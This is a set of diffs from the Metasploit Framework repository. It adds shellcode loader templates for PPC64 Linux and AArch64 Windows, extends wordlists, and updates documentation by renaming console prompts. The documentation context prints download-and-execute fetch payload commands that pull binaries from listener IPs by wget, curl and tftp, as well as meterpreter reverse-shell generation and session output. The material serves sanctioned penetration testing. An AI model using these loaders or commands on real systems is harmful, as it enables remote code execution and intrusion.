+  db    0x7F, "ELF", 2, 2, 1, 0  ;   e_ident
+  db    0, 0, 0, 0,  0, 0, 0, 0  ;
+  dw    0x0200                   ;   e_type       = ET_EXEC for an executable
+  dw    0x1500                   ;   e_machine    = PPC64
+  dd    0x01000000                        ;   e_version
+  dq    0x7810000000000000      ;   e_entry
+  dq    0x4000000000000000       ;   e_phoff
+  dq    0                        ;   e_shoff
+  dd    0                        ;   e_flags
+  dw    0x4000                   ;   e_ehsize
+  dw    0x3800                   ;   e_phentsize
+  dw    0x0100                   ;   e_phnum
+  dw    0                        ;   e_shentsize
+  dw    0                        ;   e_shnum
+  dw    0                        ;   e_shstrndx
+
+ehdrsize equ  $ - ehdr
+
+phdr:                            ; Elf32_Phdr
+
+  dd    0x01000000               ;   p_type       = pt_load
+  dd    0x07000000               ;   p_flags      = rwx
+  dq    0                        ;   p_offset
+  dq    0x0010000000000000       ;   p_vaddr
+  dq    0x0010000000000000                       ;   p_paddr
+  dq    0xefbeadde       ;   p_filesz
+  dq    0xefbeadde       ;   p_memsz
+  dq    0x0000100000000000      ;   p_align
+
+phdrsize equ  $ - phdr
+
+_start:
+dq      0x8010000000000000
@@ -0,0 +1,98 @@
+;
+; A minimal AArch64 PE template for Metasploit shellcode
+; Author: Alexander 'xaitax' Hagenah
+;
+; --- Compilation (Microsoft Visual Studio Build Tools) ---
+; 1. Assemble:
+;    armasm64.exe -o template_aarch64_windows.obj template_aarch64_windows.asm
+;
+; 2. Link:
+;    LINK.exe template_aarch64_windows.obj /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
+;
+;
+; --- Cross Compilation (Microsoft Visual Studio Build Tools) ---
+; 1. Locate Cross Compiler Tools and Libraries
+;     In this case: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\
+;     And: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64
+; 2. Assemble:
+;    "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\armasm64.exe" -o template_aarch64_windows.obj template_aarch64_windows.asm
+; 3. Link:
+;    "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\link.exe"  template_aarch64_windows.obj /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64" /MACHINE:ARM64 /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
+        AREA    |.text|, CODE, READONLY
+
+; Import the Win32 functions we need from kernel32.dll
+        IMPORT  VirtualAlloc
+        IMPORT  VirtualProtect
+        IMPORT  ExitProcess
+
+; Define constants for Win32 API calls
+SCSIZE          EQU     4096
+MEM_COMMIT      EQU     0x1000
+PAGE_READWRITE  EQU     0x04
+PAGE_EXECUTE    EQU     0x10
+
+; Export the entry point of our program
+        EXPORT main
+
+main
+        ; Allocate space on the stack for the oldProtection variable (DWORD)
+        sub     sp, sp, #16
+        
+        ; --- 1. Allocate executable memory ---
+        ; hfRet = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT, PAGE_READWRITE);
+        mov     x0, #0
+        mov     x1, #SCSIZE
+        mov     x2, #MEM_COMMIT
+        mov     x3, #PAGE_READWRITE
+        ldr     x8, =VirtualAlloc
+        blr     x8
+
+        ; Check if VirtualAlloc failed. If so, exit.
+        cbz     x0, exit_fail
+
+        ; Save the pointer to our new executable buffer in a non-volatile register
+        mov     x19, x0
+
+        ; --- 2. Copy the payload into the new buffer ---
+        ; This is a simple memcpy(dest, src, size)
+        mov     x0, x19                 ; x0 = dest = our new buffer
+        ldr     x1, =payload_buffer     ; x1 = src = the payload in our .data section
+        mov     x2, #SCSIZE             ; x2 = count
+copy_loop
+        ldrb    w3, [x1], #1            ; Load byte from src, increment src pointer
+        strb    w3, [x0], #1            ; Store byte to dest, increment dest pointer
+        subs    x2, x2, #1              ; Decrement counter
+        b.ne    copy_loop               ; Loop if not zero
+
+        ; --- 3. Change memory permissions to executable ---
+        ; VirtualProtect(hfRet, SCSIZE, PAGE_EXECUTE, &dwOldProtect);
+        mov     x0, x19                 ; x0 = buffer address
+        mov     x1, #SCSIZE             ; x1 = size
+        mov     x2, #PAGE_EXECUTE       ; x2 = new protection
+        mov     x3, sp                  ; x3 = pointer to oldProtection on the stack
+        ldr     x8, =VirtualProtect
+        blr     x8
+
+        ; --- 4. Execute the payload ---
+        ; Jump to the shellcode we just copied and protected.
+        blr     x19
+
+exit_success
+        ; Shellcode returned, or we are done. Exit cleanly.
+        mov     x0, #0                  ; Exit code 0
+        ldr     x8, =ExitProcess
+        blr     x8
+        
+exit_fail
+        ; Something went wrong. Exit with code 1.
+        mov     x0, #1
+        ldr     x8, =ExitProcess
+        blr     x8
+
+; The data section where the payload will be located.
+; The 'PAYLOAD:' tag must be at the very beginning of this buffer.
+payload_buffer
+        DCB     "PAYLOAD:"
+        SPACE   SCSIZE - 8 ; Reserve the rest of the 4096 bytes
+
+        END
@@ -0,0 +1,69 @@
+// AArch64 PE EXE Template for Metasploit Framework
+//
+// -----------------------------------------------------------------------------
+//
+// Compilation Instructions:
+//
+//   Using MSVC on a Windows ARM64 Host:
+//
+//   cl.exe /nologo /O2 /W3 /GS- /D_WIN64 template_aarch64_windows.c /link ^
+//   /subsystem:windows /machine:arm64 /entry:main ^
+//   /out:template_aarch64_windows.exe kernel32.lib
+//
+// -----------------------------------------------------------------------------
+
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+#undef WIN32_LEAN_AND_MEAN
+
+#define PAYLOAD_MARKER "PAYLOAD:"
+#define SCSIZE 8192
+
+char payload[SCSIZE] = PAYLOAD_MARKER;
+
+int main(void)
+{
+    void *exec_mem;
+    DWORD old_prot;
+    HANDLE hThread;
+
+    // Stage 1: Allocate a block of memory. We request READWRITE permissions
+    // initially so we can copy our payload into it.
+    exec_mem = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+    if (exec_mem == NULL)
+    {
+        // Fail silently if allocation fails.
+        return 1;
+    }
+
+    // Stage 2: Copy the payload from our data section into the new memory block.
+    // A simple loop is used for maximum compiler compatibility and to avoid
+    // needing extra headers like <string.h> for memcpy.
+    for (int i = 0; i < SCSIZE; i++)
+    {
+        ((char *)exec_mem)[i] = payload[i];
+    }
+
+    // Stage 3: Change the memory's protection flags from READWRITE to
+    // EXECUTE_READ.
+    if (VirtualProtect(exec_mem, SCSIZE, PAGE_EXECUTE_READ, &old_prot) == FALSE)
+    {
+        // Fail silently if we cannot make the memory executable.
+        return 1;
+    }
+
+    // Stage 4: Execute the shellcode.
+    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
+    if (hThread)
+    {
+        WaitForSingleObject(hThread, INFINITE);
+        CloseHandle(hThread);
+    }
+    else
+    {
+        // As a fallback in case CreateThread fails, call the shellcode directly.
+        ((void (*)())exec_mem)();
+    }
+
+    return 0;
+}
@@ -23,3 +23,4 @@ W32TIME_ALT
 wkssvc
 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
 db2remotecmd
+CxUIUSvcChannel
@@ -46,6 +46,7 @@ slideshow-gallery
 sp-client-document-manager
 subscribe-to-comments
 suretriggers
+tatsu
 ultimate-member
 user-registration
 user-registration-pro
@@ -10,7 +10,7 @@
 #
 # It's strongly recommended that you check this file into your version control system.

-ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
+ActiveRecord::Schema[7.2].define(version: 2025_02_04_172657) do
  # These are extensions that must be enabled in order to support this database
  enable_extension "plpgsql"

@@ -803,5 +803,4 @@ ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
    t.boolean "limit_to_network", default: false, null: false
    t.boolean "import_fingerprint", default: false
  end
-
 end
@@ -1 +1 @@
-3.2.5
+3.3.8
@@ -1 +1 @@
-Metasploit Documentation
+<img src="{{ '/assets/images/metasploit-logo-dark-external-use.svg' | relative_url }}" alt="Metasploit Logo" class="title-logo" />
@@ -17,7 +17,7 @@ module Rouge
    SHORTNAME = 'z'

    token :Msf, SHORTNAME do
-      # prompt - msf / msf5 / msf6 / meterpreter
+      # prompt - msf / meterpreter
      token :Prompt, "#{SHORTNAME}p"
      # [-]
      token :Error, "#{SHORTNAME}e"
@@ -49,7 +49,7 @@ module Rouge
      state :root do
        mixin :whitespace

-        # Match msf, msf5, msf6, meterpreter
+        # Match msf, meterpreter
        rule %r{^(msf\d?|meterpreter)}, Tokens::Msf::Prompt, :msf_prompt
        rule %r{^\[-\]}, Tokens::Msf::Error
        rule %r{^\[\+\]}, Tokens::Msf::Good
@@ -59,7 +59,7 @@ module Rouge
      end

      # State for highlighting the prompt such as
-      # msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
+      # msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
      state :msf_prompt do
        mixin :whitespace

@@ -5,6 +5,11 @@
    text-align: justify;
 }

+/* Site logo */
+.title-logo {
+    width: 220px;
+}
+
 /* Color highlighting for msf console text */
 .language-mermaid .label {
    text-transform: inherit;
@@ -1,18 +1,38 @@
-# Chat
+# Primary Communication Channels

-A lot of our discussion happens on IRC in #metasploit on Freenode.
+## GitHub Discussions
+For community support, questions, and general discussion, visit our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions).
+
+## Slack
+Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat with the community and developers.
+
+## GitHub Issues
+Submit bug reports and feature requests through [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues).
+
+# Additional Communication Channels
+
+## Chat
+
+Some community discussion still happens on IRC in #metasploit on Freenode.
 Please be patient and hang around for a while -- not everyone is awake
 at the same time as you. =)

-# Mailing list
+## Mailing list

 The Metasploit development mailing list used to be hosted on SourceForge, but is now on Google Groups. Metasploit Hackers is dead, long live [Metasploit Hackers][list]. (Or [mailto:Metasploit Hackers][mailto]).

 The old list [is archived on seclists.org][archive].

+## Social Media
+
+- **X**: [@metasploit](https://x.com/metasploit)
+- **Mastodon**: [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit)
+- **Blog**: [Rapid7 Blog - Metasploit Tag](https://www.rapid7.com/blog/tag/metasploit/)
+- **YouTube**: [Metasploit YouTube](https://youtube.com/@MetasploitR7)
+
 # Abuse

-Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to caitlin_condon@rapid7.com or todb@metasploit.com.
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to smcintyre@metasploit.com or jacquelyn_harris@rapid7.com.


 [archive]: http://seclists.org/metasploit/ "Metasploit mailing list archive"
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/

 | Download Link                                                                                                                                                |File Type| SHA                                                                                                                       | PGP                                                                                                                      |
 |--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
-| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe)                    | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256)               | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)                    |
-| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run)                          | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256)                 | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)                      |
+| [metasploit-4.22.8-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe)                    | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256)               | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)                    |
+| [metasploit-4.22.8-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run)                          | Linux 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256)                 | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)                      |
+| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.asc) |
+| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run)     | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.sha1)  | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.asc)   |
 | [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
 | [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run)     | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1)  | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc)   |
 | [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |
@@ -290,7 +290,7 @@ end
 msfconsole output:

 ```msf
-msf6 exploit(windows/smb/msf_smb_client_test) > options
+msf exploit(windows/smb/msf_smb_client_test) > options

 Module options (exploit/windows/smb/msf_smb_client_test):

@@ -319,7 +319,7 @@ Exploit target:
   0   Windows


-msf6 exploit(windows/smb/msf_smb_client_test) > run
+msf exploit(windows/smb/msf_smb_client_test) > run

 [*] Started reverse SSL handler on 172.16.60.1:4444
 [*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
@@ -407,7 +407,7 @@ end
 msfconsole output:

 ```msf
-msf6 exploit(windows/smb/ruby_smb_client_test) > options
+msf exploit(windows/smb/ruby_smb_client_test) > options

 Module options (exploit/windows/smb/ruby_smb_client_test):

@@ -436,7 +436,7 @@ Exploit target:
   0   Windows


-msf6 exploit(windows/smb/ruby_smb_client_test) > run
+msf exploit(windows/smb/ruby_smb_client_test) > run

 [*] Started reverse SSL handler on 172.16.60.1:4444
 [*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
@@ -18,7 +18,7 @@ puts identify_hash "_9G..8147mpcfKT8g0U."
 ```
 In practice, we receive the following output from this:
 ```ruby
-msf5 > irb
+msf > irb
 [*] Starting IRB shell...
 [*] You are in the "framework" object

@@ -4,7 +4,7 @@ They are designed to have a very loose definition in order to make them as usefu
 Plugins are not available by default, they need to be loaded:

 ```msf
-msf6 > load plugin_name
+msf > load plugin_name
 ```

 Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
@@ -61,9 +61,9 @@ The current available plugins for Metasploit can be found by running the `load -
 The Alias plugin adds the ability to alias console commands:

 ```msf
-msf6 > load alias
+msf > load alias
 [*] Successfully loaded plugin: alias
-msf6 > alias -h
+msf > alias -h
 Usage: alias [options] [name [value]]

 OPTIONS:
@@ -76,20 +76,20 @@ OPTIONS:
 Register an alias such as `proxy_enable`:

 ```msf
-msf6 > alias proxy_enable "set Proxies http:localhost:8079"
+msf > alias proxy_enable "set Proxies http:localhost:8079"
 ```

 Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:

 ```msf
-msf6 auxiliary(scanner/http/title) > proxy_enable
+msf auxiliary(scanner/http/title) > proxy_enable
 Proxies => http:localhost:8079
 ```

 Viewing registered aliases:

 ```msf
-msf6 > alias
+msf > alias

 Current Aliases
 ===============
@@ -122,9 +122,9 @@ To use the plugin, it must first be loaded. That will provide the `captureg` com
 and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.

 ```msf
-msf6 > load capture
+msf > load capture
 [*] Successfully loaded plugin: Credential Capture
-msf6 > captureg start --ip 192.168.159.128
+msf > captureg start --ip 192.168.159.128
 Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
 Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
 [+] Authentication Capture: DRDA (DB2, Informix, Derby) started
@@ -150,7 +150,7 @@ Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_2022032
 [+] LLMNR Spoofer started
 [+] mDNS Spoofer started
 [+] Started capture jobs
-msf6 >
+msf >
 ```

 This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
@@ -19,7 +19,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult
 The current configuration can be printed by running `dns print`:

 ```msf
-msf6 > dns print
+msf > dns print
 Default search domain: N/A
 Default search list:   lab.lan
 Current cache size:    0
@@ -12,7 +12,7 @@ msf auxiliary(oracle_login) > run
 ```
 or
 ```msf
-msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
+msf auxiliary(scanner/oracle/oracle_hashdump) > run

 [-] Failed to load the OCI library: cannot load such file -- oci8
 [-] Try 'gem install ruby-oci8'
@@ -76,27 +76,27 @@ $ dig +short 4.tcp.ngrok.io

 metasploit side:
 ```msf
-msf6 > use payload/windows/x64/meterpreter/reverse_http
-msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
+msf > use payload/windows/x64/meterpreter/reverse_http
+msf payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
 LHOST => 192.0.2.1
-msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
+msf payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
 LPORT => 17511
-msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
+msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
 ReverseListenerBindAddress => 127.0.0.1
-msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
+msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444
 ReverseListenerBindPort => 4444
-msf6 payload(windows/x64/meterpreter/reverse_http) > to_handler 
+msf payload(windows/x64/meterpreter/reverse_http) > to_handler 
 [*] Payload Handler Started as Job 2
-msf6 payload(windows/x64/meterpreter/reverse_http) > 
+msf payload(windows/x64/meterpreter/reverse_http) > 
 [*] Started HTTP reverse handler on http://127.0.0.1:4444

-msf6 payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
+msf payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe
 [*] Writing 7168 bytes to ngrok_payload.exe...
-msf6 payload(windows/x64/meterpreter/reverse_http) > 
+msf payload(windows/x64/meterpreter/reverse_http) > 
 [*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ...
 [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400

-msf6 payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
+msf payload(windows/x64/meterpreter/reverse_http) > sessions -i -1
 [*] Starting interaction with 1...

 meterpreter > getuid
@@ -43,8 +43,8 @@ The fastest way to understand Fetch Payloads is to use them and examine the outp
 target with the ability to connect back to us with  an HTTP connection and a command execution vulnerability.
 First, let's look at the payload in isolation:
 ```msf
-msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
+msf exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options

 Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):

@@ -62,7 +62,7 @@ LPORT               4444             yes       The listen port

 View the full module info with the info, or info -d command.

-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
 ```

 ### Options
@@ -106,19 +106,19 @@ payload, we would see different options.

 ### Generating the Fetch Payload
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
 FETCH_COMMAND => WGET
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
 FETCH_SRVHOST => 10.5.135.201
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
 FETCH_SRVPORT => 8000
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
 LHOST => 10.5.135.201
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
 LPORT => 4567
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
 wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
 ```

 You can see the fetch payload generated:
@@ -130,7 +130,7 @@ When you start the `Fetch Handler`, it starts both the server hosting the binary
 served payload.  With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
 started:
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
 [*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
 [*] Payload Handler Started as Job 0
 [*] Fetch Handler listening on 10.5.135.201:8000
@@ -142,7 +142,7 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
 The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
 `Jobs`, even though the Fetch Handler is listening:
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l

 Jobs
 ====
@@ -151,7 +151,7 @@ Jobs
  --  ----                    -------                                     ------------
  0   Exploit: multi/handler  cmd/linux/http/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4567

-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
 [*] exec: netstat -ant | grep 8000

 tcp        0      0 10.5.135.201:8000       0.0.0.0:*               LISTEN     
@@ -159,13 +159,13 @@ tcp        0      0 10.5.135.201:8000       0.0.0.0:*               LISTEN
 ```
 Killing the Served Payload handler will kill the Fetch Handler as well:
 ```msf
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
 [*] Stopping the following job(s): 0
 [*] Stopping job 0
-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
 [*] exec: netstat -ant | grep 8000

-msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
+msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 
 ```

 ## Using Fetch Payloads on the Fly
@@ -183,7 +183,7 @@ The following example shows both the original command to download and execute th
 original fetch command directly to the shell.  Since this requires two downloads, it is less stealthy, but the
 command to run on the target is significantly shorter.
 ``` msf
-msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
+msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
 [*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe

 [*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
@@ -290,7 +290,7 @@ Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly
 4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
 start a tftp fetch handler, a new service will start:
 ```msf
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs

 Jobs
 ====
@@ -299,16 +299,16 @@ Jobs
  --  ----                    -------                                       ------------
  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444

-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
 LPORT => 4445
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

 [*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
 [*] Payload Handler Started as Job 4

 [*] starting tftpserver on 10.5.135.201:8080
 [*] Started reverse TCP handler on 10.5.135.201:4445 
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs

 Jobs
 ====
@@ -318,23 +318,23 @@ Jobs
  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4444
  4   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://10.5.135.201:4445

-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
 [*] exec: netstat -an | grep 8080

 udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
 udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
 FETCH_URIPATH => test4
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
 LPORT => 8547
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

 [*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
 [*] Payload Handler Started as Job 5

 [*] starting tftpserver on 10.5.135.201:8080
 [*] Started reverse TCP handler on 10.5.135.201:8547 
-msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
+msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
 [*] exec: netstat -an | grep 8080

 udp        0      0 10.5.135.201:8080       0.0.0.0:*                          
@@ -7,7 +7,7 @@
 There are two methods of adding a module to the favorites list. The first way is via simply calling `favorite` when there is an active module:

 ```shell
-msf6 exploit(multi/handler) > favorite
+msf exploit(multi/handler) > favorite
 [+] Added exploit/multi/handler to the favorite modules file
 ```

